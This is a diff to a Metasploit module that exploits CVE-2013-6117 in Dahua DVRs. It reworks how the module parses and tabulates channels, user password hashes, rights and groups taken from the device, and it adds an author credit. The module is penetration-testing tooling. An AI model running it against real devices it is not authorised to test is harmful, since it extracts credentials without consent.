@@ -10,7 +10,8 @@ def initialize
10
10
'Author' => [
11
11
'Jake Reynolds - Depth Security' , # Vulnerability Discoverer
12
12
'Tyler Bennett - Talos Infosec' , # Metasploit Module
13
- 'Jon Hart <jon_hart[at]rapid7.com>' # improved metasploit module
13
+ 'Jon Hart <jon_hart[at]rapid7.com>' , # improved metasploit module
14
+ 'Nathan McBride' # regex extraordinaire
14
15
] ,
15
16
'References' => [
16
17
[ 'CVE' , '2013-6117' ] ,
@@ -192,18 +193,10 @@ def grab_channels
192
193
return unless data . length > 1
193
194
print_good ( "#{ peer } -- camera channels:" )
194
195
data . each_with_index do |val , index |
195
- # puts val, index + 1
196
- # next if index > 1
197
- number = "#{ index } "
198
- channels = "#{ val [ /([[:print:]]+)/ ] } "
199
- # number = "#{val[0]}"
200
- # channels = "#{val[1]}"
201
- print_status ( " #{ number } " )
202
- print_status ( " #{ channels } " )
203
- channels_table << [ "#{ number } " . to_i , "#{ channels } " . to_i ]
196
+ number = index . to_s
197
+ channels = val [ /([[:print:]]+)/ ] . to_s
198
+ channels_table << [ number , channels ]
204
199
channels_table . print
205
- # print_status(" #{val[/([[:print:]]+)/]}")
206
- # print_status(" #{index + 1}:#{val[/([[:print:]]+)/]}")
207
200
end
208
201
end
209
202
@@ -214,19 +207,17 @@ def grab_users
214
207
data = response . split ( '&&' )
215
208
usercount = 0
216
209
users_table = Rex ::Ui ::Text ::Table . new (
217
- 'Header' => 'Dahua Users Hashes and groups ' ,
210
+ 'Header' => 'Dahua Users Hashes and Rights ' ,
218
211
'Indent' => '1' ,
219
212
'Columns' => [ 'Username' , 'Password Hash' , 'Permissions' , 'Description' ]
220
213
)
221
214
print_status ( "Users\\ Hashed Passwords\\ Rights\\ Description: @ #{ rhost } :#{ rport } !" )
222
215
data . each do |val |
223
216
usercount += 1
224
- pass = "#{ val [ /(([\d ]+)[:]([0-9A-Z]+)[:]([0-9A-Z]+))/i ] } "
225
- # print_status("Perms: #{val[/(([0-9][0-9]*, )*[0-9][0-9]*)/]}")
226
- value = pass . split ( ":" )
227
- user = "#{ value [ 1 ] } "
228
- md5hash = "#{ value [ 2 ] } "
229
- print_status ( " #{ val [ /(([\d ]+)[:]([[:print:]]+))/ ] } " )
217
+ user , md5hash , rights , name = val . match ( /^.*:(.*):(.*):.*:(.*):(.*):.*$/ ) . captures
218
+ users_table << [ user , md5hash , rights , name ]
219
+ users_table . print
220
+ # print_status(" #{val[/(([\d]+)[:]([[:print:]]+))/]}")
230
221
# Write the dahua hash to the database
231
222
hash = "#{ rhost } #{ user } :$dahua$#{ md5hash } "
232
223
report_hash ( rhost , rport , user , hash )
@@ -248,8 +239,18 @@ def grab_groups
248
239
sock . put ( GROUPS )
249
240
return unless ( response = sock . get_once )
250
241
data = response . split ( '&&' )
242
+ groups_table = Rex ::Ui ::Text ::Table . new (
243
+ 'Header' => 'Dahua groups' ,
244
+ 'Indent' => '1' ,
245
+ 'Columns' => [ 'Number' , 'Group' ]
246
+ )
251
247
print_good ( "#{ peer } -- groups:" )
252
- data . each { |val | print_status ( " #{ val [ /(([\d ]+)[:]([\w ]+))/ ] } " ) }
248
+ data . each { |val |
249
+ number = val [ /(([\d ]+))/ ] . to_i
250
+ groups = val [ /(([a-z]+))/ ] . to_i
251
+ groups_table << [ number , groups ]
252
+ groups_table . print
253
+ }
253
254
end
254
255
255
256
def reset_user
0 commit comments